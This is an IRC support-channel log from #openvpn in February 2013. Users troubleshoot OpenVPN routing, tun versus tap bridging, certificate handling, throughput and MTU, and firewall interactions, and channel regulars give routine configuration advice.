23:13 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 252 seconds]
23:16 < devslash> i configured openvpn on my linux server, copied the necessary files to my client (android device running openvpn client). when i connect within my pan it appears to connect correctly. when i connect from my client it says no route to host
23:26 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 260 seconds]
23:27 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
23:33 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
23:53 -!- Visitorer [~Visitorer@unaffiliated/visitorer] has joined #openvpn
23:53 < Visitorer> user@domain:~/conf/OpenVPN/examples/easy-rsa$ ./build-ca
23:53 < Visitorer> ./build-ca: line 8: ~/conf/OpenVPN/examples/easy-rsa/pkitool: No such file or directory
23:53 < Visitorer> but pkitool is there
23:58 -!- devslash [~devslash@unaffiliated/devslash] has quit [Quit: devslash]
--- Day changed Thu Feb 28 2013
00:12 < Visitorer> Jesus Christ, nothing's ever working right
00:17 < Visitorer> bleh, nvm, gave up on trying to change the directories..
00:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
00:38 -!- mode/#openvpn [+o krzee] by ChanServ
00:46 -!- feth [~feth@ile-flottante.tuttu.info] has quit [Ping timeout: 255 seconds]
00:46 -!- feth [foobar@ile-flottante.tuttu.info] has joined #openvpn
00:55 -!- TriJetScud [~TriJetScu@2001:470:e97f:1003:215:5dff:fe07:4806] has joined #openvpn
00:55 < TriJetScud> #tunortap
00:55 < TriJetScud> !tunortap
00:55 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against
00:55 <@vpnHelper> you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
01:24 < Visitorer> so I want to set this up on my VPS for LAN gaming
01:25 < Visitorer> but I have no idea how to configure bridge-start
01:25 < Visitorer> if I do ifconfig, I have no eth0 device
01:27 < Visitorer> hm.. nvm... apparently I can't
01:27 < Visitorer> oh well
01:27 -!- Visitorer [~Visitorer@unaffiliated/visitorer] has left #openvpn ["8V"]
01:36 -!- EvilJStoker is now known as JStoker
01:38 -!- local [~local@HSI-KBW-095-208-244-144.hsi5.kabel-badenwuerttemberg.de] has joined #openvpn
01:39 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Ping timeout: 255 seconds]
01:40 < local> hello everybody. I am referring to the official HowTo (http://openvpn.net/index.php/open-source/documentation/howto.html#scope) at the topic "Including multiple machines on the client side when using routet vpn (dev tun)":
01:40 <@vpnHelper> Title: HOWTO (at openvpn.net)
01:41 -!- uberushaximus [~uberushax@hacked.thegov.us] has quit [Ping timeout: 255 seconds]
01:41 < local> Is there a way so I do NOT HAVE to use the client-config-dir line in server.conf? Can I somehow manually assign the iroute for just a single client VPN network which should connect to the server?
01:41 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
01:41 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
01:46 -!- local [~local@HSI-KBW-095-208-244-144.hsi5.kabel-badenwuerttemberg.de] has left #openvpn []
01:50 -!- sh_t [~sht@176.222.238.158] has quit [Ping timeout: 276 seconds]
01:54 -!- sh_t [~sht@176.222.238.158] has joined #openvpn
01:58 < EugeneKay> Nope.
02:08 -!- dazo_afk is now known as dazo
02:18 -!- Visitorer [~Visitorer@unaffiliated/visitorer] has joined #openvpn
02:19 < Visitorer> isn't there a way to install OpenVPN without Tunnelblick or any GUI?
02:19 < Visitorer> on Mac
02:19 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
02:20 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
02:26 -!- devslash [~devslash@unaffiliated/devslash] has joined #openvpn
02:26 -!- devslash [~devslash@unaffiliated/devslash] has quit [Client Quit]
02:40 -!- mattock_afk is now known as mattock
02:43 <@krzee> Visitorer, sure
02:43 <@krzee> !osxtun
02:43 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 276 seconds]
02:43 <@krzee> !osxtuntap
02:44 <@krzee> !factoids search osx
02:44 <@vpnHelper> 'osxipforward', 'osxboot', and 'osx'
02:44 <@krzee> well you'll need tuntap drivers installed seperately
02:44 <@krzee> or you can pull the kext from tunnelblick
02:46 < Visitorer> actually, I want to avoid using tunnelclick's drivers, if I am to believe what this guy wrote here : http://blog.remibergsma.com/2012/08/03/openvpn-on-mountain-lion-tunnelblick-alternative-viscosity-to-the-rescue/   they are problematic on Mountain Lion
02:46 < Visitorer> I don't have Mountail Lion myself but the person who I want to connect with does and I want to avoid trouble for them
02:47 <@krzee> ive used in on 10.8 on someones machine and i believe ecrist uses it there
02:50 < Visitorer> hm.. I'll have him give it a try then
03:16 -!- zz_AsadH is now known as AsadH
03:31 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
03:40 <@krzee> !blame
03:40 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments
03:41 <@krzee> !learn blame as cron2 says its always d12fk's fault (and sometimes the customers)
03:41 <@vpnHelper> Joo got it.
03:42 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 272 seconds]
03:45 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
03:47 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
04:01 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Max SendQ exceeded]
04:02 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
04:02 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has joined #openvpn
04:03 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn
04:03 -!- mode/#openvpn [+o krzie] by ChanServ
04:03 -!- krzie [nobody@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
04:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
04:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
04:04 -!- mode/#openvpn [+o krzee] by ChanServ
04:06 -!- greyeax [~grey@cpe-108-185-215-179.socal.res.rr.com] has quit [Read error: Connection reset by peer]
04:07 -!- greyeax [~grey@cpe-108-185-215-179.socal.res.rr.com] has joined #openvpn
04:07 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
04:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
04:21 -!- sqwerty [~sqwerty@rubberductions.plus.com] has joined #openvpn
04:21 -!- sqwerty [~sqwerty@rubberductions.plus.com] has quit [Changing host]
04:21 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
04:50 -!- catsup [~d@64.111.123.163] has joined #openvpn
05:09 -!- brute11k [~brute@89.249.230.53] has joined #openvpn
05:28 -!- joshie [~josh@75-150-76-129-NewEngland.hfc.comcastbusiness.net] has quit [Quit: No Ping reply in 180 seconds.]
05:29 -!- joshie [~josh@joshie.net] has joined #openvpn
06:27 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
06:29 -!- wykydtro- [tassadar@persephone.darkness-reigns.net] has joined #openvpn
06:31 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
06:31 -!- feth_ [foobar@ile-flottante.tuttu.info] has joined #openvpn
06:31 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
06:31 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:33 -!- raidzz [~raidz@raidz.im] has joined #openvpn
06:33 -!- raidzz is now known as raidz
06:33 -!- raidz [~raidz@raidz.im] has quit [Changing host]
06:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
06:33 -!- mode/#openvpn [+o raidz] by ChanServ
06:35 -!- Netsplit *.net <-> *.split quits: kloeri, @raidz_away, feth, wykydtron, JPeterson, paccer
06:39 -!- p3rror [~mezgani@41.249.14.4] has joined #openvpn
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
06:49 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has joined #openvpn
06:52 -!- kloeri_ is now known as kloeri
06:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:55 < Visitorer> okay so I've set up a server on a tap interface
06:55 < Visitorer> on Mac OS
06:55 < Visitorer> my friend and I can both see each other's iTunes libraries
06:55 < Visitorer> so we're somehow connected
06:55 < Visitorer> however, we can't see each other on Civilization V
06:56 < Visitorer> I'm thinking that it may have something to do with the priority of the network interface if there is such a thing on Mac
06:56 < Visitorer> or that Civ V can't broadcast to the LAN
06:56 < Visitorer> for some reason
06:56 < Visitorer> I followed the config here, which apparently works http://forums.civfanatics.com/showthread.php?t=482925
06:57 < Visitorer> except that I have server-bridge 192.168.50.4 255.255.255.0 192.168.50.50 192.168.50.100 instead
07:01 < neilhwatson> Can each of you ping the other's computer?
07:26 < Visitorer> actually, no
07:28 -!- feth_ is now known as feth
07:30 -!- ade_b [Ade@nat/redhat/x-ivcbwnduhfydwbdr] has joined #openvpn
07:30 -!- ade_b [Ade@nat/redhat/x-ivcbwnduhfydwbdr] has quit [Changing host]
07:30 -!- ade_b [Ade@redhat/adeb] has joined #openvpn
07:34 < neilhwatson> Then your tunnel might not be functioning, or you have a firewal issue.
07:42 -!- simpelsimon [~smalessa@91-66-249-214-dynip.superkabel.de] has joined #openvpn
07:43 < simpelsimon> hey, im trying to setup openvpn on ubuntu12.10
07:44 < simpelsimon> everything works until /sbin/ifconfig tun14 10.1.0.38 pointotpoint 10.1.0.37 mt 1500
07:44 < simpelsimon> openvpn is blocking
07:44 < simpelsimon> any idea?
07:53 < Visitorer> well I know that my router isn't the problem, as I had originally forgotten to forward the port so my friend couldn't even connect originally
07:54 < Visitorer> the firewall on my computer is turned off...
07:54 < Visitorer> I don't understand why we can share iTunes libraries then..?
08:02 -!- alex88 [~alex88@unaffiliated/alex88] has left #openvpn ["Leaving..."]
08:14 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
08:31 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
08:37 -!- paccer [uid4847@gateway/web/irccloud.com/x-alqdhrhtspqzjhoz] has joined #openvpn
08:44 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:50 -!- dazo is now known as dazo_afk
09:05 -!- dazo_afk is now known as dazo
09:22 -!- Visitorer [~Visitorer@unaffiliated/visitorer] has quit [Quit: Client has a boner *rimshot* Get it?]
09:26 -!- Matir [~matir@ubuntu/member/matir] has quit [Ping timeout: 248 seconds]
09:26 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
09:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:46 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
10:05 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has quit [Ping timeout: 246 seconds]
10:05 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has joined #openvpn
10:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:09 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 245 seconds]
10:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:22 -!- ade_b [Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
10:47 -!- AsadH is now known as zz_AsadH
10:48 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
10:48 -!- neilhwatson [~neilhwats@72.138.34.70] has joined #openvpn
10:57 -!- simpelsimon [~smalessa@91-66-249-214-dynip.superkabel.de] has quit [Quit: Leaving.]
11:04 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
11:07 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
11:07 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:10 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
11:10 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
11:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:10 -!- mode/#openvpn [+o krzee] by ChanServ
11:13 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
11:18 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
11:20 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
11:34 -!- dazo is now known as dazo_afk
11:35 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
11:36 -!- JSharpe [~JSharpe@31.3.253.10] has joined #openvpn
11:40 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:00 -!- MeanderingCode [~Meanderin@71-213-164-137.albq.qwest.net] has joined #openvpn
12:03 -!- karlson [~nranchev@75.98.195.190] has joined #openvpn
12:05 < karlson> Hello
12:06 < karlson> I have to servers connected over openvpn but I am getting a really low bandwidth over vpn
12:06 < karlson> 10x what I am getting if the machines are communicating directly
12:08 < karlson> "two* servers"
12:08 < karlson> could anyone suggest things I could try?
12:09 < dioz> turn lzo off
12:09 < dioz> do it over udp not tcp
12:09 < dioz> use something like gre instead of openvpn
12:09 < rob0> I don't suppose either one is Windows, is it?
12:10 < karlson> udp is 10x slower tcp is 30x slower... :(
12:10 < karlson> nope
12:10 < karlson> both linux
12:10 < rob0> okay, ruled out my idea.
12:10 < karlson> I will try lzo off right now
12:11 <@krzee> !gigabit
12:11 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
12:11 < karlson> the openvpns processes on either server is not taking more than 10-15% of cpu
12:15 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
12:15 < karlson> lzo changes had no effect :(
12:16 < karlson> (at least not significant)
12:16 -!- master_o1_master [~master_of@p4FF24C7A.dip.t-dialin.net] has joined #openvpn
12:19 -!- master_of_master [~master_of@p4FF24E6E.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
12:27 < karlson> increasing the mtus substantially seems to be helping a lot
12:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
12:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
12:41 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
12:43 < neilhwatson> Some ISP's throttle encrypted traffic.
12:43 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
12:43 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
12:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:43 -!- mode/#openvpn [+o krzee] by ChanServ
12:43 < karlson> neilhwatson: that's not the case in my situation
12:46 < karlson> should I expect to get the same bandwidth over openvpn as I do directly between the two servers
12:47 < neilhwatson> There are some mtu settings including test and discovery.
12:47 < karlson> right now it's much better than it was with the default of mtu=1500 but still 3x slower than not using the vpn
12:47 < karlson> you mean mtu-test?
12:47 < karlson> I ran that but it didn't suggest any changes :(
12:48 <@krzee> mtu test may stop after testing below default
12:48 <@krzee> if your benefits are from bigger mtu, that'ld make sense
12:48 <@krzee> but im not 100% on how it works
12:56 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 264 seconds]
13:00 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
13:01 < TommehM> Does anyone know how to combine certificates with the client.conf? I have seen it done before and attempted to replicate it but I just cant seem to get it right.
13:02 <@krzee> !inline
13:02 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
13:02 < TommehM> Thanks.
13:02 <@krzee> yw
13:15 -!- chilicuil [~chilicuil@ubuntu/member/chilicuil] has joined #openvpn
13:15 -!- chilicuil [~chilicuil@ubuntu/member/chilicuil] has left #openvpn []
13:16 -!- NeWGame [irc2gowebc@84.126.149.110.dyn.user.ono.com] has joined #openvpn
13:16 < NeWGame> hi
13:21 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
13:26 < NeWGame> hi
13:46 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
13:47 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
13:59 -!- karlson [~nranchev@75.98.195.190] has left #openvpn []
14:03 -!- brute11k [~brute@89.249.230.53] has quit [Ping timeout: 244 seconds]
14:05 -!- UserUnk201302 [~UserUnk@wsip-68-109-228-234.ri.ri.cox.net] has joined #openvpn
14:07 < UserUnk201302> I am moving my vpn from one machine to another. Can I just copy the easy-rsa folder and will it work on the other machine?
14:07 -!- brute11k [~brute@89.249.235.13] has joined #openvpn
14:11 < rob0> You should keep your PKI on a different machine anyway. It should not be maintained on the server, and ideally, not even accessible online.
14:12 < UserUnk201302> so, if i keep it on my laptop, i can create keys and just copy to the server and clients?
14:17 -!- Devastator- [~devas@177.18.198.56] has joined #openvpn
14:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
14:18 -!- Kovica [~kovica@77.38.49.83] has joined #openvpn
14:20 < Kovica> I have a very strange problem using openvpn. I have a server (openvpn v2.2.1 on Ubuntu 12.04) and I can connect to it and I can also access servers in my internal network. But sometimes it happens that I cannot access a server that I was able 10 minutes ago.
14:20 < Kovica> It gets even stranger. In on terminal I have a ssh session opened to the server, but in another terminal I cannot ping it anymore.
14:21 < Kovica> On the server I'm running Ubuntu 11.10
14:21 <@krzee> ssh prolly didnt time out yet
14:21 < Kovica> how can I go about to solving this mistery?
14:22 < Kovica> ohh.. on the VPN server I use iptables to restrict certain VPN client access to certain internal servers
14:23 < Kovica> when I run tcpdump on the VPN server and ping internal server from a VPN client, I see ICMP requests comming to VPN server, but no responses
14:24 < Kovica> from the internal server
14:26 < UserUnk201302> rob0, thanks
14:26 -!- UserUnk201302 [~UserUnk@wsip-68-109-228-234.ri.ri.cox.net] has quit [Quit: Leaving]
14:26 <@krzee> heh so you firewalled it off?
14:27 < Kovica> krzee, nope since I didn't chane iptables in ages...
14:27 < Kovica> krzee, and this happened to me half an houg ago..
14:27 < Kovica> it's voodo or something.. I don't know
14:27 <@krzee> dont look at it from a "what did i change" angle
14:28 <@krzee> look at it from a "what changed?" angle
14:28 <@krzee> figure out what changed, dont assume nothing did
14:28 <@krzee> cause obviously, something did
14:28 < Kovica> krzee, and one of my colleagues is saying to me now, that he can access the server..
14:29 <@krzee> then you prolly lost the connection, like i said at first
14:29 <@krzee> <krzee> ssh prolly didnt time out yet
14:29 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
14:30 < Kovica> ssh prolly?
14:30 <@krzee> no, you got disconnected
14:31 <@krzee> you prolly cant ping the vpn server over the vpn when it happens either
14:31 <@krzee> did you go give a user your certificates instead of making new ones?
14:31 < Kovica> krzee, nope
14:31 < Kovica> krzee, every user has it's own settings
14:32 <@krzee> certs != settings, but ok
14:32 < Kovica> and certs
14:32 < Kovica> and private keys
14:32 <@krzee> when it happens, start pinging the server over the vpn
14:32 <@krzee> i bet you arent on the vpn at all when it happens
14:33 < Kovica> I am, because at the time it happened I was on the VPN server running tcpdump and on my computer running ping to the internal server
14:33 < Kovica> btw: I can ping the internal server again
14:33 -!- oskie [~usel@h-254-83.a218.priv.bahnhof.se] has quit [Remote host closed the connection]
14:34 < Kovica> and I didn't even reconnect my VPN client
14:36 -!- Orbi [~opera@109.129.0.214] has joined #openvpn
14:37 -!- MeanderingCode [~Meanderin@71-213-164-137.albq.qwest.net] has quit [Remote host closed the connection]
14:45 < Kovica> strange
14:45 < Kovica> at least to me
14:47 <@krzee> its either a drop in your connection or a firewall
14:47 <@krzee> thats all i can tell ya
14:47 -!- voidnecron [~voidnecro@unaffiliated/necron] has quit []
14:47 <@krzee> and your vpn client likely reconnects itself
14:48 <@krzee> and if somehow your certs are in use 2x, then your clients will battle eachother for the connection
14:48 < Kovica> krzee, ok. thanks. :) But would you agree that if I can connect to the server once, I will be able to connect the second time. So firewall cannot be, right?
14:49 < pekster> Some filewall rulesets do rate limiting in a weird enough way that could cause problems, so it really depends on the ruleset you're using
14:49 <@krzee> i know too little about your setup to tell you that
14:49 <@krzee> ya what he said ^
14:49 < pekster> Never under-estimate the ability of a badly configured firewall to screw things up ;)
14:49 < Kovica> :)
14:50 <@krzee> udp keep-state has caused problems for some in the past as well
14:50 < Kovica> I'm only doing this kind of administration for couple of months
14:51 < Kovica> we are using udp, yes
14:51 -!- oskie [~usel@h-254-83.a218.priv.bahnhof.se] has joined #openvpn
14:52 <@krzee> udp is good, udp keep-state attempts are not
14:52 -!- p3rror [~mezgani@41.249.14.4] has quit [Read error: Operation timed out]
14:52 < pekster> krzee: keep state suffix in ipf?
14:54 < pekster> Since udp is stateless, that should just show up a a new connection and be allowed to pass if the keepalives get dropped long enough to expire the "stateful" entry
14:55 < Kovica> bye keep-state you mean something like: iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
14:55 <@krzee> so not enough keepalive, and not enough traffic = keep-state on non-stateful protocol fubars you
14:55 < pekster> In netfilter, yes. The Linux kernel times out even established UDP streams in 3 minutes (by defalut, although that's configurable)
14:57 -!- p3rror [~mezgani@41.249.35.188] has joined #openvpn
14:57 < pekster> krzee: Ah, ipf has a "keep state" suffix for rules, f.eg: pass in quick proto udp from any to $our_ip port = 1194 keep state
14:57 < pekster> Apaparently you meant something else
14:58 <@krzee> ipf as in freebsd ipf?
14:58 <@krzee> i havnt seen that in years
14:58 <@krzee> like since the 90s
14:58 <@krzee> you really use ipf?
14:58 <@krzee> maybe you mean pf or ipfw? :D
15:03 < pekster> ipf. http://www.freebsd.org/cgi/man.cgi?query=ipf&sektion=5&apropos=0&manpath=FreeBSD+9.1-RELEASE
15:03 <@vpnHelper> Title: ipf(5) (at www.freebsd.org)
15:03 <@krzee> sweet!
15:03 <@krzee> keep it alive bro!
15:04 < pekster> That was on a box I inherited config for, so don't change what's working, especially when you see all the layers of NAT involved ;)
15:04 <@krzee> ipf is cool anyways
15:04 <@krzee> easier to change to pf as well
15:04 <@krzee> if it were ipfw it would likely be very different
15:04 <@krzee> ill bbl, just got off work
15:04 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 276 seconds]
15:05 <@krzee> time to go smoke my favorite plant and get ready to DJ at a bar tonight (for fun not work)
15:05 < pekster> Yea, macro support is nice in pf. Plus the BSD's had hfsc before it was cool enough for Linux ;)
15:06 < pekster> Somewhere there's a really good writeup on the benefits of hfsc under Linux's tc verses using sfq
15:07 -!- sh_t [~sht@176.222.238.158] has quit [Read error: No route to host]
15:07 < Kovica> http://linux-ip.net/articles/hfsc.en/ maybe ?
15:07 <@vpnHelper> Title: HFSC Scheduling with Linux (at linux-ip.net)
15:07 -!- sh_t [~sht@176.222.238.158] has joined #openvpn
15:08 -!- mattock is now known as mattock_afk
15:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
15:12 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
15:12 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Client Quit]
15:16 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:16 < pekster> Oh, it was comparing hfsc to tbf in terms of how they handle drops. The commented section is a pretty good writeup. The code might be a starting point, but it's not quite what I would use: https://gist.github.com/lsowen/4144606
15:16 <@vpnHelper> Title: HFSC - linux traffic shapings best kept secret (at gist.github.com)
15:17 < pekster> Either tbf or hfsc is easier and more sane to manage than CBQ, which is just needlessly complicated
15:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 248 seconds]
15:33 -!- mezgani_ [~mezgani@41.249.81.140] has joined #openvpn
15:34 -!- p3rror [~mezgani@41.249.35.188] has quit [Ping timeout: 245 seconds]
15:37 < Kovica> have fun guys.. Have  to go to bed. Good night....
15:37 -!- Kovica [~kovica@77.38.49.83] has quit [Quit: Leaving]
15:52 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:52 -!- mode/#openvpn [+v s7r] by ChanServ
16:17 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:26 -!- JSharpe [~JSharpe@31.3.253.10] has quit [Quit: Leaving]
16:27 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Read error: Operation timed out]
16:28 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
16:40 -!- unicorn_ [~unicorn@188.126.74.248] has joined #openvpn
16:40 < unicorn_> hi
16:40 < unicorn_> I have a problem with dns leaking when using openvpn
16:41 -!- unicorn_ is now known as randomA
16:41 < randomA> hey
16:41 <@ecrist> it's for horses
16:45 < randomA> how do i prevent my dns from leaking?
16:45 < randomA> someone said to use commodo's servers...should I do that?
16:45 < EugeneKay> Duct tape.
16:46 < randomA> ok...so i can't?
16:48 < randomA> as long as my own DNS doesn't show it's ok?
16:49 -!- randomA [~unicorn@188.126.74.248] has quit [Quit: Lost terminal]
16:49 < rob0> heh
16:49 < rob0> I was just thinking about trying to answer, saved by the /quit
16:53 -!- Orbi [~opera@109.129.0.214] has left #openvpn []
16:54 -!- mezgani_ [~mezgani@41.249.81.140] has quit [Read error: Operation timed out]
16:56 -!- Kendall [~gjones@173-165-28-227-Illinois.hfc.comcastbusiness.net] has joined #openvpn
16:58 -!- Kendall [~gjones@173-165-28-227-Illinois.hfc.comcastbusiness.net] has left #openvpn []
17:09 -!- mezgani_ [~mezgani@41.140.224.153] has joined #openvpn
17:12 -!- MeanderingCode [~Meanderin@71-213-164-137.albq.qwest.net] has joined #openvpn
17:14 -!- NeWGame [irc2gowebc@84.126.149.110.dyn.user.ono.com] has quit [Quit: irc2go]
17:15 -!- Kendall [~gjones@173-165-28-227-Illinois.hfc.comcastbusiness.net] has joined #openvpn
17:16 < Kendall> would there be any issue running both OpenVPN and IPSEC vpn on the same server?  I wouldn't assume there is, but VPN isn't my forte
17:20 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
17:30 < pppingme> Kendall there's no conflicting ports or protocols between OpenVPN and IPSEC, so careful planning of your IP structure and all should go well.
17:34 < Kendall> ok, thanks.  One other question, are there downsides or limitations to how many connections you can make using a single certificate, when --duplicate-cn is enabled ?
17:36 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 248 seconds]
17:36 < pppingme> Kendall why would you want to do that?  What happens if you have a laptop or something go rogue, then you have to kill EVERYONES certificate and re-issue instead of just revoking the one.
17:37 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
17:38 < pppingme> plus you have no idea who is actually connecting, you lose the ability to do ccd if you need to and a lot of other dis-advantages
17:38 < Kendall> it would be a single certificate used to connect an Amazon Virtual Private Cloud.  The guy setting it up is telling me that each EC2 instance would need it's own openvpn cert, which since we're trying to accomplish auto scaling would be a huge PITA
17:39 < Kendall> so I thought maybe we could do one certificate just for EC2 VPC and use duplicate-cn
17:39 -!- mezgani_ [~mezgani@41.140.224.153] has quit [Quit: Leaving]
17:40 < Kendall> I would run a separate openVPN server so that only that one certificate is allowed to duplicate, none of the remote workers would have such capability
17:40 < pppingme> Kendall if the vpn is also used for general use, then I'd run two instances of openvpn, one for general use, and one for your amazon stuff, since, assuming, you have full control of the amazon stuff, not quite like a laptop that can grow legs.
17:41 -!- speed_racer8 [~speed_rac@98.196.168.201] has joined #openvpn
17:41 < pppingme> hah, same though..
17:41 < Kendall> right, that's what I'm thinking.  It's either that, or I configure and maintain an IPSEC gateway as well, which I have no experience with
17:41 < Kendall> and really is just one more thing to maintain
17:43 -!- kantlivelong [~kantlivel@47.23.189.90] has joined #openvpn
17:44 -!- p3rror [~mezgani@41.140.224.153] has joined #openvpn
17:44 < pppingme> a static ipsec setup is probably a tad more stable than an openvpn setup
17:47 < rob0> Shared certificates are pretty much always a bad idea. What little you gain on the initial setup will be more than lost in the future, count on it.
17:54 < Kendall> alright, I'll do some more research.  Thanks guys, have a good night!
17:54 -!- Kendall [~gjones@173-165-28-227-Illinois.hfc.comcastbusiness.net] has quit [Quit: Leaving.]
17:58 < MeanderingCode> anyone here using ubuntu or variant?
17:59 < MeanderingCode> as of yesterday i can't connect to my openvpn provider, while others say they can, though i can ping the server:
